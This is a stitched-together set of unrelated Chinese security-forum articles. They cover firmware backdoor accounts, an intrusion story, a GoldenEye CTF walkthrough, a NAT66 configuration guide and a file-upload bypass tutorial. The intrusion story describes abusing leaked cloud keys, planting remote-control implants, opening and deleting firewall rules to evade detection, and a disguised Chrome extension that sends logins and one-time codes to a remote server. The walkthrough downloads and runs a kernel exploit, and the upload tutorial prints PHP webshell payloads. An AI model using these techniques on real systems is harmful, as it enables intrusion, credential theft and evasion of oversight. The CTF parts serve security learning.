在固件逆向分析完毕后，可以通过查看固件的服务加载过程，来查看初始化时所添加的账号等信息。
查看usrAppInit函数，可以发现大量的loginUserAddd调用，如图15所示。同时可以发现多个后门账号，如图16所示。
图15.发现多个loginUserAdd调用
图16.发现多个后门账号
#### 3、小结
基于固件逆向分析的漏洞挖掘方法可以发现隐藏较深的软件后门漏洞，是一种非常实用的漏洞挖掘方法。在工业控制领域，存在着数量庞大的嵌入式系统，这些系统大多采用固件升级的方式更新，多数固件只压缩未加密，多数固件采用VxWorks系统，因此本文论述的固件逆向分析方法具有普遍的通用性，建议感兴趣者多加尝试，会有效的发现各类安全漏洞。
* * * | 社区文章 |
# AKSK 命令执行到谷歌验证码劫持
## 前言
去年的一次任务，当时搞的挺费劲的，是一个不断踩坑填坑的快乐经历，过程过于有趣就大概记录了一下，不过由于时间挺久了，当时也没有记录太多东西导致零零散散的很不全，就将就着看个思路吧。
:)
Author: R3start
## Spring 敏感信息泄露
前期信息收集时发现目标的一个三级子域名存在 `spring` 的接口未授权访问，在 `env` 界面中发现多个密码并且发现存在阿里云的 `AKSK`
，看到有这好东西，赶紧调用了 `heapdump` 接口，下载内存提取密文
`100M+` 下载好以后使用 `MemoryAnalyzer` 搜索 `dump` 下来的内存文件，获取阿里云的 `AKSk` 密文
顺便还获取了一些内网的 `Redis` 和 `Mysql` 明文密码，留着后面用
## 阿里云 AKSK 命令执行
既然拿到了阿里云的 `AKSK` ，接下来就两个操作，先看有没有主机，如果没有主机的话再看有没有存储桶。不过很幸运，这个 `KEY`
不单只有主机，而且还有十几台。 ：D
将所有主机的扫描结果导出到文本，打算挑选重要的主机下手的时候，发现当前的 `KEY`
应该是个测试网络的，有多台测试的服务器，并没有目标生产网相关的主机，不过发现目标在杭州地区有一台主机名为 `xxx - 跳板机`
的机器引起了我的注意，初步怀疑是目标管理人员使用这台服务器登录一些系统的跳板机，比如后台之类的
于是打算先从这台主机下手，先上线个 `CS` 看看
很顺利成功上线
发现上面存在多个管理账号，应该和最初猜想一致
对此主机进行信息收集，除了获取到上面几个账号的明文密码以外（大部分还是弱口令）并没有发现其他有用的信息，`3389` 对外开放，当前用户只有
`admin1` 有进程，将 `system` 权限降权为 `admin1` 权限进行截图，发现 `admin1` 用户使用 `Chrome`
打开了目标后台，并且浏览器记录了后台账号密码（密码直接是 123456 ）^0^ ！！！ 但遗憾的是后台有谷歌验证码 0..0，有密码也登不进去
后台是另外一个域名，后台服务器也不在当前 `KEY` 中，公网可以访问但是在公网登陆提示 `IP` 不在白名单内，不过修改 `XFF` 即可绕过...
## 阿里云 AKSK 开放防火墙
本来打算登陆一下 `3389` 上去看看浏览器记录和其他可能保存的密码什么的，但是发现连接不上！但 `3389`
确实是开放的！随手看了一眼目标的网络组发现原来设置了防火墙... 并且只允许他们公司的出口 `IP` 访问此台服务器的 `3389`
，怪不得那么嚣张，那么多账号弱口令...
收集了一波他们的出口 `IP` 信息，留着后面用，顺便添加了一条防火墙规则，把 `3389` 对我的跳板机开放
不使用的时候把规则删了，以免被发现
## 编写安装 Chrome 后门插件
登录服务器以后就得想办法获取谷歌验证码了，开始想过几种方法，比如窃取 `Cookie` 之类的，但是由于有 `HttpOnly` 等种种原因，最后都被我
`pass` 掉了，思来想去觉得可以利用谷歌验证码一分钟有效的特征性，写一个 `chrome`
后门插件，插件伪装成最常用的百度统计或者谷歌插件，监控表单窃取验证码最方便快捷
而且只需要随便写几行 `JS` 代码监控 `button` 和回车就行了。
当这两个事件触发时就将账号密码和验证码发送到远程服务器上接收即可，先测试一下
安装上去看看效果，打开开发者模式载入刚刚写好的 `Chrome` 后门
前台登录测试，不管是点击登录还是回车登录都能获取到三个值的信息，十分完美。
顺便再隐藏一下插件
修改插件将三个值发送到服务器上，然后存储到文件
接收的 `php` 代码也很简单
`info.txt` 是日志记录，`login.txt` 是后面方便程序调用的文件。
## 使用 Selenium 维持会话
后门装好以后第二天就有好几个账号登录过，可惜都是一些客服人员权限较低，而且登录时间都很随意，很多时候导致我错过了登录后台的机会，虽然我还写了一个
`python` 脚本，三秒钟获取一次 `login.txt` 的内容，发现新数据将会邮件通知我，但有时还是会错过。
于是使用 `Selenium` 来做会话维持，之所以使用 `Selenium` 是因为他们登录发送的数据包每次会有随机的 `Toekn` 和 `sign`
验证，无法重放，计算 `sign` 的 `JS` 则又使用了不可逆的 `JS` 加密，最主要还是懒得继续看 `JS` 大多数都混淆了太恶心，还不如直接使用
`Selenium` 方便。我只要发现 `login.txt` 中有新的账号密码时，就使用 `Selenium`
打开浏览器模拟用户输入账号密码和谷歌验证码进行登录，登录成功则三秒刷新一次维持权限，并导出 `Cookie` 发送邮件通知，失败则退出浏览器。
后来又进去了一个账号，但发现几乎干什么增删改的操作都要二次输入谷歌验证码，而且当前权限也是贼低！！！ 然后又看了半天目标登录后没有被混淆的 `JS`
发现有几处越权，同时知道了添加用户的数据包结构，但是添加账号的功能贼恶心！！！ 新添加的账号需要绑定一个新的谷歌验证码然后还要输入当前登录用户的谷歌验证码！
才可以添加！
不过既然干什么都要谷歌验证码那么他们肯定会在别的功能处频繁输入验证码，于是再次修改 `Chrome`
后门，劫持每一次单击或回车提交的表单数据，遍历每一个标签寻找六位数的值来获取当前用户输入的谷歌验证码，然后再用 `JS` 实现谷歌验证码的运算(还好
`Google` 强大，找到了斯坦福大学写的加密库)，指定一个新的谷歌 `KEY`
来生成添加新用户所需的新验证码，然后再通过当前登录用户发起请求携带新的谷歌 KEY 和新用户的验证码和当前登录用户的验证码添加用户。 狗不狗血，绕不绕 ：D
[ 图没了 ] :(
反正最终 `Selenium` 跑了一个多星期，终于逮到了管理员上线，脚本自动添加了新的管理员，从此进后台增删改查都通畅无阻。
## 平平无奇的上传绕过
经过前面的重重阻挠，`Getshell` 的过程就显得十分平平无奇了，在发布公告处存在任意文件上传 + 黑名单过滤，检测到后缀为 `php` 则删除
，简直就是作死的搭配。
上传 结果
1.php > 1.
1.pphp > 1.p
1.pphphphpp > 1.php
## 结束
这次渗透很有意思，一直在踩坑填坑十分过瘾。只可惜当时截图不全，导致很多地方没图只能文字表达过于啰嗦。
文档存档：<https://github.com/r35tart/Penetration_Testing_Case> | 社区文章 |
**作者：KarmA@D0g3**
记录一下自己的GoldenEye: 1 通关过程
## 背景
It's themed after the great James Bond film (and even better n64 game)
GoldenEye.
靶机命名来自詹士邦系列的电影——GoldenEye
Difficulty：中等
Goal：得到root权限&找到flag.txt
Hint：有多种方法获得root权限
## 信息收集
nmap扫一下端口
除了常见的web(80)端口，还有一个smtp(25)端口，其他的55006和55007应该是smtp的加密协议～
### 80
看源码，发现一段注释
Url decode
既然拿到密码了，那就根据提示去`/sev-home/`login呗！
账号名:Boris ，密码如上，登陆后
查看源码，发现一个hint
<h1>GoldenEye</h1>
<p>GoldenEye is a Top Secret Soviet oribtal weapons project. Since you have access you definitely hold a Top Secret clearance and qualify to be a certified GoldenEye Network Operator (GNO) </p>
<p>Please email a qualified GNO supervisor to receive the online <b>GoldenEye Operators Training</b> to become an Administrator of the GoldenEye system</p>
<p>Remember, since <b><i>security by obscurity</i></b> is very effective, we have configured our pop3 service to run on a very high non-default port</p>
然后发现，源码最底下藏了俩supervisor的名字
## pop3
掏出hydra爆破一下pop3
顺利将密码爆破出来 ，那就继续走下去，用nc登进去邮箱看看有什么信息可以收集。
> [SMTP/POP3/IMAP 命令简介](http://blog.51cto.com/zhangbo1119/952538)
### boris
boris的三封邮件，没有什么特别的发现
### natalya
natalya的两封邮件
发现了一个新学生的账号，而且root也告诉natalya该如何操作
## Severnaya-Station
按照管理员给的提示，把domain加到host中
echo -e "192.168.11.122\tsevernaya-station.com" >> /etc/hosts
然后就直接访问域名，进入`http://severnaya-station.com/gnocertdir/`即可
一登陆，就有提示说Mr.Doak发了封邮件给Xenia，那就点进去看看呗。
类似于欢迎信的东东，但是发现了Mr.Doak的用户名为doak
那就再尝试一下爆破看看行不行得通
然后登陆进去doak的邮箱
又发现了一个密码
遍历网站的时候，发现一个txt文件
看到一个jpg文件，下载下来，binwalk跑一下，没发现隐写，exif跑一下，发现description里面有一个类似base64的编码，抠出来解下码`xWinter1995x!`
，这串东东有什么用。。然后在主页无意中看到这个
然后去试了一波admin的密码。。。竟然成功了～～
既然得到了admin的账号，看到了版本号Moodle2.2.3，那就去搜一波exp，发现2.2.3有个rce漏洞，就直接开始动手了。
### 手动构造rce
把每个链接都点了一遍，然后发现了有一个系统路径的页面
但是要反弹shell之前，需要把拼写检查换成PSpellSHell
默认的GoogleShell是弹不了的。
首先用的是nc反弹，没什么反应。。。
那换一种方法，python，成功了
然后再用如下命令生成TTY，方面后续操作
python -c 'import pty; pty.spawn("/bin/bash")'
虽然靶机介绍里面说要提权，然后找到flag.txt，
但是在我遍历一下web目录时，就可以找到一个xvf7-flag的文件夹，里面藏着flag（野路子）
### Metasploit
## 提权
由于上面两种方法反弹shell后的提权操作一致，所以只写一次了
先用`uname -a`看看内核，然后去exploit-db搜一下exp。但是发现系统内没有装gcc。
cd /tmp # 进入/tmp目录，方便读写
wget https://www.exploit-db.com/download/37292.c
sed -i 's/gcc/cc/g' 37292.c # 系统内没有gcc,所以只能用cc代替
cc 37292.c -o evil # 编译exp
chmod 700 evil
./evil
然后就是root权限了。
果然结果还是上面遍历目录时发现的那个flag页面。
## 总结
1. 第一次遇到smtp和pop这样的服务，有点懵逼，一开始卡了很久，还是得一步步去搜，现学现卖
2. 用msf的确让攻击变得更加容易操作，但是自己手动去测试漏洞点，从构造到弹shell，里面考验的东西太多太多
3. 学会了如何在没有gcc下用cc进行编译exp | 社区文章 |
# NAT66的优点、缺点及不足
##### 译文声明
本文是翻译文章，文章原作者 mcilloni，文章来源：mcilloni.ovh
原文地址：<https://mcilloni.ovh/2018/01/20/oh-god-why-NAT66/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
很多人对一些技术持有强烈的看法，NAT（以及NAPT）技术正是其中之一。IPv4的地址空间非常小，只有32位。刚开始时计算机的数量非常少，但随着全世界计算机规模大幅增长，这个地址空间已经捉襟见肘。此时NAT及NAPT技术应运而生，可以避免IPv4地址继续分裂，是一种取巧但又非常实用的解决办法。
目前IPv4协议早已大大超出原先设想的范围，该协议已是现代互联网环境中的基本组成部分，这个网络规模极其庞大，是IPv4协议无法承受之重。是时候让IPv4退隐江湖，轮到尚存争议但能解决问题的IPv6上场了。IPv6具有128位的地址空间，足以应付这种规模的网络。
那么，在新的互联网中，端到端原则已经重新回归，成为主要原则之一，此时NAT应该扮演什么角色呢？
## 二、尴尬境地
然而似乎NAT很难有立足之地，IETF一直不推荐人们使用NAT66（NAT这个词在IPv6上已经被占用）。这么做并非无中生有，多年以来，由于NAT网关的存在，本来应该为无状态（stateless）、无连接（connectionless）的IP协议已经变成了一种临时的“有状态（stateful）”、面向连接（connection-oriented）的协议，这主要是因为大量的设备需要接入互联网而不得已为之。
这种地址转换能给我们带来一种虚假的安全感。我已经听过许多人表达过这样一种看法：“从内部网络安全角度来看，NAT是必不可少的一环（然而事实并非如此）”。
IPv6地址空间非常庞大，运营商可以给客户分配足够多的`/64`地址。我始终无法找到NAT66的价值所在：我觉得NAT66从技术上讲根本就是一潭死水，处于本末倒置状态，是先有了答案，再去寻找适配这个答案的问题，很容易被他人滥用。
当然，由于某些托管服务的存在，这种技术仍有发挥的空间。
## 三、应用场景
前一阵子我非常高兴，因为我的VPS提供商宣布他们开始支持IPv6网络，这样一来我就可以在这台VPS上为VPN用户提供IPv6接入方式，不必再去使用Hurrican
Electric以及SixXS之类的隧道转换服务，避免产生不必要的延迟。
幸福的时光总是那么短暂，不久后我发现虽然这个运营商拿到了完整的`/32`地址空间（即2^{96}个IP），但他们还是决定只给VPS客户分配一个`/128`地址。
再强调一下： **只有1个地址** 。
由于IPv6的连接特性是我配置OpenVPN时迫切需要的一种特性，这让我感到万分悲伤。因此我基本上只剩下两种选择：
1、获取免费的`/64`Hurricane Electric隧道，为VPN用户分配IPv6地址。
2、不得已使用NAT66解决方案。
毫无疑问，Hurrican Electric是最正统的一种选择：这是一种免费服务，可以提供`/64`地址，并且设置起来也非常方便。
这里最主要的问题就是延迟问题，两层隧道的存在（VPN -> 6to4 ->
IPv6互联网）会增加一些延迟，并且默认情况下IPv6源IP地址会比IPv4地址优先级更高，因此，如果你拥有一个IPv6公有地址反而会带来一些延迟，这有点令人难以接受。如果我们能找到对IPv6以及IPv4都可以接受的RTT（Round-Trip Time，往返时延）那再好不过。
出于这几方面考虑，我带着一丝愧疚，不得已选择了第二种方案。
## 四、如何配置
设置NAT的过程中通常需要选择一个保留的可路由的私有IP地址范围，以避免内部网络结构与其他网络路由规则相冲突（当然，如果出现多重错误配置依然可能发生冲突）。
IETF在2005年通过ULA（Unique Local
Addresses，本地唯一地址）规范，定义了与`10.0.0.0/8`、`172.16.0.0/12`以及`192.168.0.0/16`对应的IPv6地址。这个RFC中定义了唯一的且不能在公网上路由的`fc00::/7`地址，用来定义本地子网，这类地址不需要使用`2000::/3`来保证地址唯一性（`2000::/3`为全球单播地址（Global
Unicast
Addresses，GUA），也是暂时为互联网分配的地址）。目前该地址范围内实际上只定义了`fd00::/8`，这足以应付私有网络所需要的所有地址。
下一步就是配置OpenVPN，使其能够按我们所需为客户端分配ULA地址，在配置文件末尾添加如下几行：
server-ipv6 fd00::1:8:0/112
push "route-ipv6 2000::/3"
由于OpenVPN只接受从`/64`到`/112`的掩码长度，因此我为UDP服务器挑选了`fd00::1:8:0/112`地址，为TCP服务器挑选了`fd00::1:9:0/112`地址。
我也希望能通过NAT转发访问互联网的流量，因此还需要指导服务器在客户端连接时向其推送默认路由。
$ ping fd00::1:8:1
PING fd00::1:8:1(fd00::1:8:1) 56 data bytes
64 bytes from fd00::1:8:1: icmp_seq=1 ttl=64 time=40.7 ms
现在客户端与服务器之间已经可以通过本地地址相互ping通对方，但依然无法访问外部网络。
因此，我需要继续配置内核，以转发IPv6报文。具体方法是使用`sysctl`或者在`sysctl.conf`中设置`net.ipv6.conf.all.forwarding
= 1`选项（从这里开始，下文使用的都是Linux环境）。
# cat /etc/sysctl.d/30-ipforward.conf
net.ipv4.ip_forward=1
net.ipv6.conf.default.forwarding=1
net.ipv6.conf.all.forwarding=1
# sysctl -p /etc/sysctl.d/30-ipforward.conf
现在，最后一个步骤就是设置NAT66，我们可以通过Linux的包过滤器（packet filter）提供的stateful防火墙来完成这个任务。
我个人比较喜欢使用新一点的`nftables`来取代`{ip,ip6,arp,eth}tables`，因为这个工具更加灵活，更便于理解（但网上相关的文档比较少，这一点不是特别方便，我希望Linux能像OpenBSD那样提供完备的pf文档）。
如果你使用的是`ip6tables`，不妨继续使用这种方法，完全没必要勉强自己将现有的规则集迁移到`nft`中。
我在`nftables.conf`中添加了许多规则，以使NAT66能够正常工作，部分规则摘抄如下。出于完整性考虑，我同时也保留了IPv4规则。
_注意：记得将MY_EXTERNAL_IPV相关地址修改为你自己的IPv4/6地址。_
table inet filter {
[...]
chain forward {
type filter hook forward priority 0;
# allow established/related connections
ct state {established, related} accept
# early drop of invalid connections
ct state invalid drop
# Allow packets to be forwarded from the VPNs to the outer world
ip saddr 10.0.0.0/8 iifname "tun*" oifname eth0 accept
# Using fd00::1:0:0/96 allows to match for
# every fd00::1:xxxx:0/112 I set up
ip6 saddr fd00::1:0:0/96 iifname "tun*" oifname eth0 accept
}
[...]
}
# IPv4 NAT table
table ip nat {
chain prerouting {
type nat hook prerouting priority 0; policy accept;
}
chain postrouting {
type nat hook postrouting priority 100; policy accept;
ip saddr 10.0.0.0/8 oif "eth0" snat to MY_EXTERNAL_IPV4
}
}
# IPv6 NAT table
table ip6 nat {
chain prerouting {
type nat hook prerouting priority 0; policy accept;
}
chain postrouting {
type nat hook postrouting priority 100; policy accept;
# Creates a SNAT (source NAT) rule that changes the source
# address of the outbound IPs with the external IP of eth0
ip6 saddr fd00::1:0:0/96 oif "eth0" snat to MY_EXTERNAL_IPV6
}
}
这里需要着重注意的是`table ip6 nat`表以及`table inet filter`中的`chain
forward`，它们可以配置包过滤器，执行NAT66方案以及将数据包从`tun*`接口转发到外部网络中。
使用`nft -f
<path/to/ruleset>`命令应用新的规则集后，我们可以静静等待这些配置生效。剩下的就是通过某个客户端ping已知的一个IPv6地址，确保转发功能以及NAT功能都可以正常工作。我们可以使用Google提供的DNS服务器地址：
$ ping 2001:4860:4860::8888
PING 2001:4860:4860::8888(2001:4860:4860::8888) 56 data bytes
64 bytes from 2001:4860:4860::8888: icmp_seq=1 ttl=54 time=48.7 ms
64 bytes from 2001:4860:4860::8888: icmp_seq=2 ttl=54 time=47.5 ms
$ ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=49.1 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=50.8 ms
非常好，NAT66可以正常工作，客户端能够访问外部IPv6互联网，并且RTT值与IPv4网络不相上下。现在需要检查客户端是否能够解析AAAA记录。由于我在`/etc/resolv.conf`中使用的是Google的DNS服务器，因此检验起来也非常方便：
$ ping facebook.com
PING facebook.com (157.240.1.35) 56(84) bytes of data.
^C
$ ping -6 facebook.com
PING facebook.com(edge-star-mini6-shv-01-lht6.facebook.com (2a03:2880:f129:83:face:b00c:0:25de)) 56 data bytes
^C
这里有个问题，为什么默认情况下ping命令会先尝试Facebook的IPv4地址，而不会尝试IPv6地址呢？
## 五、解决另一个问题
Linux系统通常会使用Glibc的`getaddrinfo()`函数来解析DNS地址，事实证明该函数有优先级偏好，可以正确处理源-目的地址的优先级关系。
刚开始时，我怀疑默认情况下`getaddrinfo()`在面对本地地址（包括ULA地址）时，会使用与全球IPv6地址不一样的处理方式。因此，我检查了IPv6
DNS解析器的配置文件，即`gai.conf`：
label ::1/128 0 # Local IPv6 address
label ::/0 1 # Every IPv6
label 2002::/16 2 # 6to4 IPv6
label ::/96 3 # Deprecated IPv4-compatible IPv6 address prefix
label ::ffff:0:0/96 4 # Every IPv4 address
label fec0::/10 5 # Deprecated
label fc00::/7 6 # ULA
label 2001:0::/32 7 # Teredo addresses
`getaddrinfo()`所使用的默认label表如上所示。
与我猜想的一致，ULA地址的标签（6）与全球单播地址的标签（1）不一样。根据RFC 3484的约定，默认情况下标签的顺序会影响源-地址对的选择，因此每次系统都会优先使用IPv4地址。
为了我们选择的方案最后能够正常工作，我不得已又做了些处理（NAT66中光有ULA并不足够），我需要修改`gai.conf`，如下所示：
label ::1/128 0 # Local IPv6 address
label ::/0 1 # Every IPv6
label 2002::/16 2 # 6to4 IPv6
label ::/96 3 # Deprecated IPv4-compatible IPv6 address
label ::ffff:0:0/96 4 # Every IPv4 address
label fec0::/10 5 # Deprecated
label 2001:0::/32 7 # Teredo addresses
在原有的配置文件中删除`fc00::/7`的label后，ULA地址现在已经与GUA地址属于同一类地址，因此系统默认情况下就会使用经过NAT转化的IPv6地址发起连接。
$ ping google.com
PING google.com(par10s29-in-x0e.1e100.net (2a00:1450:4007:80f::200e)) 56 data bytes
##
## 六、总结
从上文可知，我们的确可以配置NAT66并让它正常工作，但这个过程中还需要绕过不少坑。由于运营商拒绝给客户提供`/64`地址，因此我不得不放弃端到端的连接特性，稍微处理了一下ULA地址，但这违背了这些地址的设计初衷。
这么做是否值得？也许吧。接入VPN后，现在IPv6上的ping值与IPv4上的难分伯仲，并且其他一切都能正常工作，但这一切都建立在非常复杂的网络配置基础之上。如果每个人都能大致理解IPv6与IPv4的不同点，也明白给客户分配一个地址并不足以简单解决具体问题，那么这一切可能就会简单得多。
现在我们之所以使用NAT，主要是历史遗留问题，当时的地址空间非常狭小，我们不得不破坏互联网的完整性才能拯救整个互联网。为了修复这个难题，我们不得已犯了个错，现在我们有机会能够弥补这一切。从现在起，我们应以认真负责的态度来面对这个过渡期，避免再次陷入泥沼，犯下同一个错。 | 社区文章 |
# 对文件上传的一些思考和总结
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近在 ctf 比赛中考察到了很多关于文件上传的知识点，然而文件上传这块知识掌握的不是很好。所以这里总结一下近期 ctf
比赛中遇到的文件上传题目的知识考点和常见思路，并且给出相应的例题。
简单的总结一下常见的思路，再根据自己的经验简单列出近些比赛中的一些上传题的套路。
## 文件上传的本质
文件上传还是归根结底是客户端的 POST 请求，消息主体就是一些上传信息。前端上传页面需要指定 enctype 为 multipart/form-data
或者 Multipart/form-data 才能正常上传文件。
<form action='' enctype='multipart/form-data' method='POST'>
<input type='file' name='file'>
</form>
> multipart 格式的数据会将一个表单拆分为多个部分（part），每个部分对应一个输入域。在一般的表单输入域中，
> 它所对应的部分中会放置文本型数据，但是如果上传文件的话，它所对应的部分可以是二进制，下面展现了 multipart 的请求体：
filename 字段是必要的，指定了上传时的那个文件的文件名。其他的可有可无
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryrGKCBY7qhFd3TrwA
------WebKitFormBoundaryrGKCBY7qhFd3TrwA
Content-Disposition: form-data; name="text"
title
------WebKitFormBoundaryrGKCBY7qhFd3TrwA
Content-Disposition: form-data; name="file"; filename="chrome.png"
Content-Type: image/png
PNG ... content of chrome.png ...
------WebKitFormBoundaryrGKCBY7qhFd3TrwA--
这里在每个字段之间使用 ———WebKitFormBoundaryxxx 隔开，boundary是一个字符串，用来切分数据。
这里就和 post 请求一样，可以自己增加参数，就形如下面这样，将参数名放到 name 里，参数值放到下面：
------WebKitFormBoundary1PkqXeou9aUAIMHr
Content-Disposition: form-data; name="filename"
1.php
那么这里就增加了一个参数 filename = ‘1.php’
## 基本上传思路的回顾
在渗透测试或者 ctf 过程中，遇到文件上传常见的思路无非是尝试绕过一些限制直接上传 shell （脚本文件），最基本的绕过方法有以下几种：
### 前端绕过
这里很基础了，直接绕过前端的 js 判断就行了。
这里举个例子，某某门户系统：
在后台页面定制处，可以插入背景图片，如果直接插入 shell 就会提示不允许上传。那么这里可以先上传一个 gif 文件，抓包，改后缀名再发包就可以绕过。
这只是最简单的前端验证绕过，当然这里还可以在 f12 里直接去掉前端 js 验证。
### MIME
> MIME(Multipurpose Internet Mail
> Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型。
>
> 即在传输过程中标记文件类型的一种方法，也就是 HTTP 文件请求头中的 Content-Type 。
简单的上传情况一般是单独验证这个字段值或者有时配合文件后缀名进行验证的。
这里再举一个 SUCTF 招新赛的一个例子。题目只有一个上传页面，解决这种题目最简单粗暴的方法就是直接将 Content-Type 和后缀名进行组合来爆破。
选择两个变量，选择 Cluster bomb 模式，跑一下就出结果了
* 这题的 “<?php ?>” 被过滤了，可以使用下面的 payload 进行简单的绕过
<script language="php">
@system($_GET['c']);
</script>
### 大写 Multipart
即将请求头中的 Content-Type 的 multipart/form-data 第一个字符 m 改成 M，即 Multipart/form-data（不影响传输）
这里的例子是 bugku 的”求getshell”，同样只有一个上传界面：
burp 抓包，使用上面爆破的方法无效，最后发现是将 multipart 改成 Multipart…这样就成功绕过了
其实这题有点脑洞了。。不过没关系，这里的重点不是这个。
## 后缀名构造
### 构造数组绕过
最近碰到的两道题，一道是网鼎杯第二场的 wafUpload，一道是上海网安赛的 web3。这两道考点都很类似。但是还是有一些小的差异，我们一道一道来看。
先看一下 wafUpload 这道题：
<?php
#$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
$sandbox = '';
#@mkdir($sandbox);
#@chdir($sandbox);
if (!empty($_FILES['file'])) {
#mime check
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
die('This type is not allowed!');
}else{
echo "pass 1n";
}
#check filename
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('This file is not allowed!');
}else{
echo "pass 2n";
}
$filename = reset($file) . '.' . $file[count($file) - 1];
if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
echo 'Success!';
echo 'filepath:' . $sandbox . '/' . $filename;
} else {
echo 'Failed!';
}
}
show_source(__file__);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Upload Your Shell</title>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="text" name="filename"><br>
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
审计源码可以知道，代码中用 end 函数取到上传文件的后缀并判断，用 reset 函数返回的值作为文件名
根据题目，需要绕过两层判断。
1.第一层，直接抓包修改 MIME 为 image/png 就行了。
2.第二层，构造 filename 字段为数组
仔细看 html 代码中提供了一个 filename 字段，在下面这句代码的判断中，会先查看是否有直接 post 提交的 filename
字段，如果有的话就使用这个字段的值（这个就有点类似提示的作用）
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
在本地复现一下，抓包之后看看：
抓包重放之后，如果这里 filename 字段我们填上 shell.php ，根据上面的那句代码的判断
$file = 'shell.php'
如果没有在 filename 字段中填入 shell.php 的话，那么
$file = '1.php'
若直接是这样的话，在下面的几句判断中就无法通过
if (!in_array($ext, ['jpg', 'png', 'gif']))
所以这里想要绕过他的判断直接上传 php 文件的话，只能构造 filename 为数组，通过 end 函数的缺陷来绕过下面的的条件判断。
那么这个 end 函数的缺陷在哪呢？
看下面的这个例子:
<?php
$arr = array();
$arr[0] = 'first';
$arr[1] = 'second';
$arr[2] = 'third';
var_dump($arr);
echo "the result of reset: ".reset($arr)."n";
echo "the result of end: ".end($arr);
?>
其实 end 函数原本的作用就是返回数组的最后一个元素，在上面看的是正常的。但是如果我们这里把对数组赋值的顺序换一下（先给 arr[2]
赋值），可以看到结果就变了。
#### 小总结
总结一下就是 end 函数取到的是给数组的最后一次赋值的那个值，继续尝试会发现 reset 函数也是一样，第一个给数组赋值的值就是 reset 函数返回的值
* 例如先给 $arr[2] 赋值，那么 reset 函数返回的就是 $arr[2] 的值
所以这里我们就可以构造 payload 了。
这里的 end 函数取到了第二个给数组赋值的值，也就是 filename[0] ，reset 函数的值为 filename[1]。这边构造
filename[1] = php
filename[0] = png
在后面拼接 $filename 时候，再一次拼接到后缀名，即
$filename = reset($file) . '.' . $file[count($file) - 1];
这里的
$file[count($file) - 1]
一定是取到 filename[1]，所以上面给 filename[1] 赋值为 php 的意义就在这里。
最后拼接出了 php.php，就达到了上传 shell 的目的。
### 上海网安赛 web3
#### 后缀名构造绕过判断
题目就是一个简单的上传逻辑。
<?php
error_reporting(0);
//$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
//$dir=md5("icq");
//$sandbox = '/sandbox/' . $dir;
//@mkdir($sandbox);
//@chdir($sandbox);
if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
var_dump($ext);
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
var_dump($filename);
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}
?>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Submit" />
</form>
可以看到前半段的代码和前面一道是很相似的，都用了 end 函数来处理文件的后缀名。但是这里没有进行图片后缀的判断，而是进行下面的判断：
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
而根据 $filename 的来源
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
$ext = end($filename);
我们也可以类似的构造 $_POST[‘file’] ，也就是自己插入一个字段 file ：
------WebKitFormBoundarywrXtm4qsIjhjlklR
Content-Disposition: form-data; name="file[2]"
2.php
------WebKitFormBoundarywrXtm4qsIjhjlklR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/x-php
GIF89a<?=eval($_POST['1']);
若我们只传入一个 file[2] = ‘2.php’， 即 $filename[2] = ‘2.php’， 那么 $ext = ‘2.php’，
$filename[count($filename) – 1] = $filename[0]
因为我们只构造 filename[2]，所以 $filename[0] 为空，两者不相等所以就绕过了上面后缀名的判断。
#### unlink 绕过
题目后面的代码逻辑是将前面的文件上传到服务器上，之后再用 post 方法接受一个参数作为文件，之后再包含这个文件。
看到上传文后再 unlink，第一时间想到的肯定是条件竞争的方法。但是对于这道题目，还有很多种方法。
1./. 符号绕过
2.目录穿越（把文件上传到想上传的地方，然后再包含相应的文件即可）
3.php7文件包含漏洞，PHP7中如果include(‘php://filter/string.strip_tags/resource=/etc/passwd’)，就会引起PHP程序直接崩溃，因而就不会进行到下面的unlink。然后就可以对上传的文件进行爆破。
还有一种比较巧妙的是 post 的的 hehe 值为 vps 上的一个 php 脚本，这个脚本只需要 sleep 就行了。
$_ = http://xx.xx.xx.xx/sleep.php
这样就在 unlink 之前预留下了给我们爆破出原来上传的文件的时间
## 截断绕过
### 00 截断
最常见的截断绕或要数 00 截断了，但是这种情况有很大的局限性，只有在 PHP 版本小于5.3.4 且 magic_quotes_gpc=Off时，否则
%00 这种空字符会被转义为
* 不过在有的 ctf 题目中也经常会用到 00 截断这种技巧：
如 SUCTF 招新赛中的 Php is No.1，使用 %00 进行截断的话，就很容易跳过三个判断
同样这个比赛中的一道注入题 ClassicSqli，也用到 00 截断来达到注释语句的作用。
